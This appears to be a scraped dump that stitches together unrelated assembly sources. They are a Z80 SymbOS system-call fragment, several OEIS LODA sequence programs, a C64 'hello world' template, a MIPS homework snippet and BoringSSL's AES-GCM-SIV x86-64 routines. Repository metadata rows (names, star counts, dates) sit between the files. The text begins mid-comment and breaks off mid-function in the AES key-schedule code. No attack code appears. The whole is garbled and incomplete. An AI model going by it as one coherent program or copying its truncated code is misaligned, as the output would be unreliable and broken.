;*** the application.
;*** 3 -> Memory full. There was not enough memory
;*** available for the directory buffer and/or the
;*** list data structure.
;*** 4 -> No window available. The desktop manager couldn't
;*** open a new window for the dialogue, as the
;*** maximum number of windows (32) has already been
;*** reached.
;*** Destroyed F,BC,DE,HL,IX,IY
;*** Description Opens the file selection dialogue. In this dialogue the user
;*** can move through the directory structure, change the drive and
;*** search and select a file or a directory for opening or saving.
;*** If you specify a path, the dialogue will start directly in the
;*** directory. If you append a filename, too, it will be used as
;*** the preselected file.
;*** You can filter the entries of the directory by attributes and
;*** filename extension. We recommend always to set Bit3 of the
;*** attribute filter byte.
;*** The File mask/path/name string (260 bytes) must always be
;*** placed in the transfer ram area (#C000-#FFFF). For more
;*** information about this memory types see the "applications"
;*** chapter.
;*** Please note, that the system will reserve memory to store the
;*** listed directory entries and the data structure of the list.
;*** With IX and IY you can choose, how much memory should be used.
;*** We recommend to set the number of entries between 100 and 200
;*** (Amsdos supports a maximum amount of 64 entries) and to set the
;*** data buffer between 5000 and 10000.
;******************************************************************************
ld (SySSOpW),de
push iy
ld iy,AppMsgB
ld (iy+6),a
ld (iy+7),c
ld (iy+8),l
ld (iy+9),h
db #dd:ld a,l
ld (iy+10),a
db #dd:ld a,h
ld (iy+11),a
pop de
ld (iy+12),e
ld (iy+13),d
ld c,MSC_SYS_SELOPN
call SySystem_SendMessage
SySSOp1 call SySystem_WaitMessage
cp MSR_SYS_SELOPN
jr nz,SySSOp1
ld ix,(SySSOpW)
ld (ix+51),0
ld a,(iy+1)
cp -1
ret nz
ld a,(iy+2)
ld (ix+51),a
jr SySSOp1
SySSOpW dw 0
SySystem_SendMessage
;******************************************************************************
;*** Input C = Command
;*** HL,A,DE = additional Parameters
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the system manager
;******************************************************************************
ld iy,AppMsgB
ld (iy+0),c
ld (iy+1),l
ld (iy+2),h
ld (iy+3),a
ld (iy+4),e
ld (iy+5),d
db #dd:ld h,3 ;3 is the number of the system manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #10
ret
SySystem_WaitMessage
;******************************************************************************
;*** Input -
;*** Output IY = message buffer
;*** A = first byte in the Message buffer (IY+0)
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
SySWMs1 db #dd:ld h,3 ;3 is the number of the system manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #08 ;wait for a system manager message
db #dd:dec l
jr nz,SySWMs1
ld a,(iy+0)
ret
SySystem_CallFunction
;******************************************************************************
;*** Name System_CallFunction
;*** Input ((SP+0)) = System manager command
;*** ((SP+1)) = Function ID
;*** AF,BC,DE,HL,IX,IY = Input for the function
;*** Output AF,BC,DE,HL,IX,IY = Output from the function
;*** Destroyed -
;*** Description Calls a function via the system manager. This function is
;*** needed to have access to the file manager.
;******************************************************************************
ld (AppMsgB+04),bc ;copy registers into the message buffer
ld (AppMsgB+06),de
ld (AppMsgB+08),hl
ld (AppMsgB+10),ix
ld (AppMsgB+12),iy
push af
pop hl
ld (AppMsgB+02),hl
pop hl
ld e,(hl)
inc hl
ld d,(hl)
inc hl
push hl
ld (AppMsgB+00),de ;module und funktion number
ld a,e
ld (SyCallN),a
ld iy,AppMsgB
ld a,(AppPrzN)
db #dd:ld l,a
ld a,3
db #dd:ld h,a
rst #10 ;send message
SyCall1 rst #30
ld iy,AppMsgB
ld a,(AppPrzN)
db #dd:ld l,a
ld a,3
db #dd:ld h,a
rst #18 ;wait for answer
db #dd:dec l
jr nz,SyCall1
ld a,(AppMsgB)
sub 128
ld e,a
ld a,(SyCallN)
cp e
jr nz,SyCall1
ld hl,(AppMsgB+02) ;get registers out of the message buffer
push hl
pop af
ld bc,(AppMsgB+04)
ld de,(AppMsgB+06)
ld hl,(AppMsgB+08)
ld ix,(AppMsgB+10)
ld iy,(AppMsgB+12)
ret
SyCallN db 0
| 45.279441 | 85 | 0.449813 |
1ec472d0cf4e4be69bc6a895ea7783da775f602f | 686 | asm | Assembly | oeis/117/A117495.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/117/A117495.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/117/A117495.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A117495: Product of a prime number p and the number of primes smaller than p.
; Submitted by Christian Krause
; 0,3,10,21,44,65,102,133,184,261,310,407,492,559,658,795,944,1037,1206,1349,1460,1659,1826,2047,2328,2525,2678,2889,3052,3277,3810,4061,4384,4587,5066,5285,5652,6031,6346,6747,7160,7421,8022,8299,8668,8955,9706,10481,10896,11221,11650,12189,12532,13303,13878,14465,15064,15447,16066,16579,16980,17873,19034,19593,20032,20605,21846,22579,23596,24081,24710,25489,26424,27229,28046,28725,29564,30569,31278,32311,33520,34101,35342,35939,36876,37655,38614,39759,40568,41207,42030,43589,44804,45663,46906
mov $2,$0
seq $2,6005 ; The odd prime numbers together with 1.
mul $0,$2
| 85.75 | 499 | 0.785714 |
62d41723842ea4430332c2cb4b7fbbb746378c71 | 620 | asm | Assembly | oeis/049/A049683.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/049/A049683.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/049/A049683.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A049683: a(n) = (Lucas(6*n) - 2)/16.
; 0,1,20,361,6480,116281,2086580,37442161,671872320,12056259601,216340800500,3882078149401,69661065888720,1250017107847561,22430646875367380,402501626648765281,7222598632802407680,129604273763794572961,2325654329115499905620,41732173650315203728201,748853471376558167202000,13437630311127731805907801,241128492128922614339138420,4326875228009479326298583761,77642625612041705259035369280,1393240385788741215336338063281,25000684318585300170795049769780,448619077348746661858974557792761
mul $0,6
mov $1,2
mov $2,1
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
div $1,16
mov $0,$1
| 44.285714 | 486 | 0.845161 |
15b4ec7c404a4843121ad6d2aac5278ffd63682a | 1,804 | asm | Assembly | src/main.asm | Didstopia/c64-project-template | 39eb315c8b3d95443a16f780a6968a7b22735dd5 | [
"MIT"
] | null | null | null | src/main.asm | Didstopia/c64-project-template | 39eb315c8b3d95443a16f780a6968a7b22735dd5 | [
"MIT"
] | null | null | null | src/main.asm | Didstopia/c64-project-template | 39eb315c8b3d95443a16f780a6968a7b22735dd5 | [
"MIT"
] | null | null | null | ;==========================================================
; 6502 assembly template for VSCode
; Originally created in 2019 by Ingo Hinterding // awsm of Mayday
;==========================================================
;==========================================================
; LABELS
;==========================================================
; C64 Labels
BGCOLOR = $d020
BORDERCOLOR = $d021
BASIC = $0801
SCREENRAM = $0400
;==========================================================
; BASIC Header
;==========================================================
* = BASIC
!byte $0b, $08
!byte $E3 ; BASIC line number: $E2=2018 $E3=2019 etc
!byte $07, $9E
!byte '0' + entry % 10000 / 1000
!byte '0' + entry % 1000 / 100
!byte '0' + entry % 100 / 10
!byte '0' + entry % 10
!byte $00, $00, $00 ; end of basic
;==========================================================
; CODE
;==========================================================
entry
lda #$00 ; the color value
sta BGCOLOR ; change background color
sta BORDERCOLOR ; change border color
ldy #$0c ; the string "hello world!" has 12 (= $0c) characters
ldx #$00 ; start at position 0 of the string
character_loop
lda hello,x ; load character number x of the string
sta SCREENRAM,x ; save it at position x of the screen ram
inx ; increment x by 1
dey ; decrement y by 1
bne character_loop ; is y positive? then repeat
rts ; exit the program
hello !scr "hello world!" ; our string to display
| 32.8 | 84 | 0.375277 |
18881a9d5939a295520c96bb0c367ebb117cbc87 | 412 | asm | Assembly | Data-Structures-Homeworks/HW4/example/output.asm | aliyasineser/GTU_Homeworks | d98502674788b86683edefce442989bb4f7a464b | [
"Apache-2.0"
] | 7 | 2018-10-20T12:50:00.000Z | 2021-11-29T23:47:06.000Z | Data-Structures-Homeworks/HW4/example/output.asm | aliyasineser/GTU_Homeworks | d98502674788b86683edefce442989bb4f7a464b | [
"Apache-2.0"
] | null | null | null | Data-Structures-Homeworks/HW4/example/output.asm | aliyasineser/GTU_Homeworks | d98502674788b86683edefce442989bb4f7a464b | [
"Apache-2.0"
] | null | null | null | li $t0, 4 #variable a
li $t1, 3 #variable b
li $t2,12 #variable c
li $t3,3 #to keep 3
mult $t1,$t3 #b*3
mflo $t3 #t3 keeps result of b*3
sub $t4,$t0,$t3 #t4=t3-a
move $t1,$t4 #t1=t4
li $t3,3 #t3=3
div $t0,$t3
mflo $t3 #keeps divison result of t0/t3
li $t4,21
mult $t3,$t4
mflo $t2
add $t3,$t2,$t1
move $t2,$t3
move $a0, $t2 # print m.
li $v0, 1 #print_in
syscall #system call
| 16.48 | 41 | 0.582524 |
f1c05539edbcafff0008c13ced457fc380c0e3dd | 313 | asm | Assembly | programs/oeis/241/A241151.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/241/A241151.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/241/A241151.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A241151: Number of distinct degrees in the partition graph G(n) defined at A241150.
; 1,2,3,3,4,5,5,5,6,7,7,7,7,8,9,9,9,9,9,10,11,11,11,11,11,11,12,13,13,13,13,13,13,13,14,15,15,15,15,15,15,15,15,16,17,17,17,17,17,17,17,17,17,18,19,19,19,19,19
lpb $0
sub $1,2
add $2,3
trn $0,$2
sub $0,$1
lpe
add $0,1
| 28.454545 | 159 | 0.632588 |
56dc2060a42c84c71f2297e2cde98666b1b0c728 | 68,770 | asm | Assembly | packager/third_party/boringssl/win-x86_64/crypto/cipher_extra/aes128gcmsiv-x86_64.asm | ivanvgdev/shaka-packager | 5bf8ad5ed5e6adeed63a264dd43ebb9d649f6621 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | packager/third_party/boringssl/win-x86_64/crypto/cipher_extra/aes128gcmsiv-x86_64.asm | ivanvgdev/shaka-packager | 5bf8ad5ed5e6adeed63a264dd43ebb9d649f6621 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | packager/third_party/boringssl/win-x86_64/crypto/cipher_extra/aes128gcmsiv-x86_64.asm | aminyazdanpanah/shaka-packager | ea2b192b92ce24c68e48d9f29f7aa176e40ef875 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .data data align=8
ALIGN 16
one:
DQ 1,0
two:
DQ 2,0
three:
DQ 3,0
four:
DQ 4,0
five:
DQ 5,0
six:
DQ 6,0
seven:
DQ 7,0
eight:
DQ 8,0
OR_MASK:
DD 0x00000000,0x00000000,0x00000000,0x80000000
poly:
DQ 0x1,0xc200000000000000
mask:
DD 0x0c0f0e0d,0x0c0f0e0d,0x0c0f0e0d,0x0c0f0e0d
con1:
DD 1,1,1,1
con2:
DD 0x1b,0x1b,0x1b,0x1b
con3:
DB -1,-1,-1,-1,-1,-1,-1,-1,4,5,6,7,4,5,6,7
and_mask:
DD 0,0xffffffff,0xffffffff,0xffffffff
section .text code align=64
ALIGN 16
GFMUL:
vpclmulqdq xmm2,xmm0,xmm1,0x00
vpclmulqdq xmm5,xmm0,xmm1,0x11
vpclmulqdq xmm3,xmm0,xmm1,0x10
vpclmulqdq xmm4,xmm0,xmm1,0x01
vpxor xmm3,xmm3,xmm4
vpslldq xmm4,xmm3,8
vpsrldq xmm3,xmm3,8
vpxor xmm2,xmm2,xmm4
vpxor xmm5,xmm5,xmm3
vpclmulqdq xmm3,xmm2,XMMWORD[poly],0x10
vpshufd xmm4,xmm2,78
vpxor xmm2,xmm3,xmm4
vpclmulqdq xmm3,xmm2,XMMWORD[poly],0x10
vpshufd xmm4,xmm2,78
vpxor xmm2,xmm3,xmm4
vpxor xmm0,xmm2,xmm5
DB 0F3h,0C3h ;repret
global aesgcmsiv_htable_init
ALIGN 16
aesgcmsiv_htable_init:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aesgcmsiv_htable_init:
mov rdi,rcx
mov rsi,rdx
vmovdqa xmm0,XMMWORD[rsi]
vmovdqa xmm1,xmm0
vmovdqa XMMWORD[rdi],xmm0
call GFMUL
vmovdqa XMMWORD[16+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[32+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[48+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[64+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[80+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[96+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[112+rdi],xmm0
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aesgcmsiv_htable_init:
global aesgcmsiv_htable6_init
ALIGN 16
aesgcmsiv_htable6_init:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aesgcmsiv_htable6_init:
mov rdi,rcx
mov rsi,rdx
vmovdqa xmm0,XMMWORD[rsi]
vmovdqa xmm1,xmm0
vmovdqa XMMWORD[rdi],xmm0
call GFMUL
vmovdqa XMMWORD[16+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[32+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[48+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[64+rdi],xmm0
call GFMUL
vmovdqa XMMWORD[80+rdi],xmm0
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aesgcmsiv_htable6_init:
global aesgcmsiv_htable_polyval
ALIGN 16
aesgcmsiv_htable_polyval:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aesgcmsiv_htable_polyval:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
test rdx,rdx
jnz NEAR $L$htable_polyval_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$htable_polyval_start:
vzeroall
mov r11,rdx
and r11,127
jz NEAR $L$htable_polyval_no_prefix
vpxor xmm9,xmm9,xmm9
vmovdqa xmm1,XMMWORD[rcx]
sub rdx,r11
sub r11,16
vmovdqu xmm0,XMMWORD[rsi]
vpxor xmm0,xmm0,xmm1
vpclmulqdq xmm5,xmm0,XMMWORD[r11*1+rdi],0x01
vpclmulqdq xmm3,xmm0,XMMWORD[r11*1+rdi],0x00
vpclmulqdq xmm4,xmm0,XMMWORD[r11*1+rdi],0x11
vpclmulqdq xmm6,xmm0,XMMWORD[r11*1+rdi],0x10
vpxor xmm5,xmm5,xmm6
lea rsi,[16+rsi]
test r11,r11
jnz NEAR $L$htable_polyval_prefix_loop
jmp NEAR $L$htable_polyval_prefix_complete
ALIGN 64
$L$htable_polyval_prefix_loop:
sub r11,16
vmovdqu xmm0,XMMWORD[rsi]
vpclmulqdq xmm6,xmm0,XMMWORD[r11*1+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[r11*1+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[r11*1+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[r11*1+rdi],0x10
vpxor xmm5,xmm5,xmm6
test r11,r11
lea rsi,[16+rsi]
jnz NEAR $L$htable_polyval_prefix_loop
$L$htable_polyval_prefix_complete:
vpsrldq xmm6,xmm5,8
vpslldq xmm5,xmm5,8
vpxor xmm9,xmm4,xmm6
vpxor xmm1,xmm3,xmm5
jmp NEAR $L$htable_polyval_main_loop
$L$htable_polyval_no_prefix:
vpxor xmm1,xmm1,xmm1
vmovdqa xmm9,XMMWORD[rcx]
ALIGN 64
$L$htable_polyval_main_loop:
sub rdx,0x80
jb NEAR $L$htable_polyval_out
vmovdqu xmm0,XMMWORD[112+rsi]
vpclmulqdq xmm5,xmm0,XMMWORD[rdi],0x01
vpclmulqdq xmm3,xmm0,XMMWORD[rdi],0x00
vpclmulqdq xmm4,xmm0,XMMWORD[rdi],0x11
vpclmulqdq xmm6,xmm0,XMMWORD[rdi],0x10
vpxor xmm5,xmm5,xmm6
vmovdqu xmm0,XMMWORD[96+rsi]
vpclmulqdq xmm6,xmm0,XMMWORD[16+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[16+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[16+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[16+rdi],0x10
vpxor xmm5,xmm5,xmm6
vmovdqu xmm0,XMMWORD[80+rsi]
vpclmulqdq xmm7,xmm1,XMMWORD[poly],0x10
vpalignr xmm1,xmm1,xmm1,8
vpclmulqdq xmm6,xmm0,XMMWORD[32+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[32+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[32+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[32+rdi],0x10
vpxor xmm5,xmm5,xmm6
vpxor xmm1,xmm1,xmm7
vmovdqu xmm0,XMMWORD[64+rsi]
vpclmulqdq xmm6,xmm0,XMMWORD[48+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[48+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[48+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[48+rdi],0x10
vpxor xmm5,xmm5,xmm6
vmovdqu xmm0,XMMWORD[48+rsi]
vpclmulqdq xmm7,xmm1,XMMWORD[poly],0x10
vpalignr xmm1,xmm1,xmm1,8
vpclmulqdq xmm6,xmm0,XMMWORD[64+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[64+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[64+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[64+rdi],0x10
vpxor xmm5,xmm5,xmm6
vpxor xmm1,xmm1,xmm7
vmovdqu xmm0,XMMWORD[32+rsi]
vpclmulqdq xmm6,xmm0,XMMWORD[80+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[80+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[80+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[80+rdi],0x10
vpxor xmm5,xmm5,xmm6
vpxor xmm1,xmm1,xmm9
vmovdqu xmm0,XMMWORD[16+rsi]
vpclmulqdq xmm6,xmm0,XMMWORD[96+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[96+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[96+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[96+rdi],0x10
vpxor xmm5,xmm5,xmm6
vmovdqu xmm0,XMMWORD[rsi]
vpxor xmm0,xmm0,xmm1
vpclmulqdq xmm6,xmm0,XMMWORD[112+rdi],0x01
vpxor xmm5,xmm5,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[112+rdi],0x00
vpxor xmm3,xmm3,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[112+rdi],0x11
vpxor xmm4,xmm4,xmm6
vpclmulqdq xmm6,xmm0,XMMWORD[112+rdi],0x10
vpxor xmm5,xmm5,xmm6
vpsrldq xmm6,xmm5,8
vpslldq xmm5,xmm5,8
vpxor xmm9,xmm4,xmm6
vpxor xmm1,xmm3,xmm5
lea rsi,[128+rsi]
jmp NEAR $L$htable_polyval_main_loop
$L$htable_polyval_out:
vpclmulqdq xmm6,xmm1,XMMWORD[poly],0x10
vpalignr xmm1,xmm1,xmm1,8
vpxor xmm1,xmm1,xmm6
vpclmulqdq xmm6,xmm1,XMMWORD[poly],0x10
vpalignr xmm1,xmm1,xmm1,8
vpxor xmm1,xmm1,xmm6
vpxor xmm1,xmm1,xmm9
vmovdqu XMMWORD[rcx],xmm1
vzeroupper
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aesgcmsiv_htable_polyval:
global aesgcmsiv_polyval_horner
ALIGN 16
aesgcmsiv_polyval_horner:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aesgcmsiv_polyval_horner:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
test rcx,rcx
jnz NEAR $L$polyval_horner_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$polyval_horner_start:
xor r10,r10
shl rcx,4
vmovdqa xmm1,XMMWORD[rsi]
vmovdqa xmm0,XMMWORD[rdi]
$L$polyval_horner_loop:
vpxor xmm0,xmm0,XMMWORD[r10*1+rdx]
call GFMUL
add r10,16
cmp rcx,r10
jne NEAR $L$polyval_horner_loop
vmovdqa XMMWORD[rdi],xmm0
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aesgcmsiv_polyval_horner:
global aes128gcmsiv_aes_ks
ALIGN 16
aes128gcmsiv_aes_ks:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_aes_ks:
mov rdi,rcx
mov rsi,rdx
vmovdqu xmm1,XMMWORD[rdi]
vmovdqa XMMWORD[rsi],xmm1
vmovdqa xmm0,XMMWORD[con1]
vmovdqa xmm15,XMMWORD[mask]
mov rax,8
$L$ks128_loop:
add rsi,16
sub rax,1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm3,xmm1,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vmovdqa XMMWORD[rsi],xmm1
jne NEAR $L$ks128_loop
vmovdqa xmm0,XMMWORD[con2]
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpslldq xmm3,xmm1,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vmovdqa XMMWORD[16+rsi],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslldq xmm3,xmm1,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpslldq xmm3,xmm3,4
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vmovdqa XMMWORD[32+rsi],xmm1
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_aes_ks:
global aes256gcmsiv_aes_ks
ALIGN 16
aes256gcmsiv_aes_ks:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes256gcmsiv_aes_ks:
mov rdi,rcx
mov rsi,rdx
vmovdqu xmm1,XMMWORD[rdi]
vmovdqu xmm3,XMMWORD[16+rdi]
vmovdqa XMMWORD[rsi],xmm1
vmovdqa XMMWORD[16+rsi],xmm3
vmovdqa xmm0,XMMWORD[con1]
vmovdqa xmm15,XMMWORD[mask]
vpxor xmm14,xmm14,xmm14
mov rax,6
$L$ks256_loop:
add rsi,32
sub rax,1
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm4,xmm1,32
vpxor xmm1,xmm1,xmm4
vpshufb xmm4,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vmovdqa XMMWORD[rsi],xmm1
vpshufd xmm2,xmm1,0xff
vaesenclast xmm2,xmm2,xmm14
vpsllq xmm4,xmm3,32
vpxor xmm3,xmm3,xmm4
vpshufb xmm4,xmm3,XMMWORD[con3]
vpxor xmm3,xmm3,xmm4
vpxor xmm3,xmm3,xmm2
vmovdqa XMMWORD[16+rsi],xmm3
jne NEAR $L$ks256_loop
vpshufb xmm2,xmm3,xmm15
vaesenclast xmm2,xmm2,xmm0
vpsllq xmm4,xmm1,32
vpxor xmm1,xmm1,xmm4
vpshufb xmm4,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm4
vpxor xmm1,xmm1,xmm2
vmovdqa XMMWORD[32+rsi],xmm1
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
global aes128gcmsiv_aes_ks_enc_x1
ALIGN 16
aes128gcmsiv_aes_ks_enc_x1:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_aes_ks_enc_x1:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
vmovdqa xmm1,XMMWORD[rcx]
vmovdqa xmm4,XMMWORD[rdi]
vmovdqa XMMWORD[rdx],xmm1
vpxor xmm4,xmm4,xmm1
vmovdqa xmm0,XMMWORD[con1]
vmovdqa xmm15,XMMWORD[mask]
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[16+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[32+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[48+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[64+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
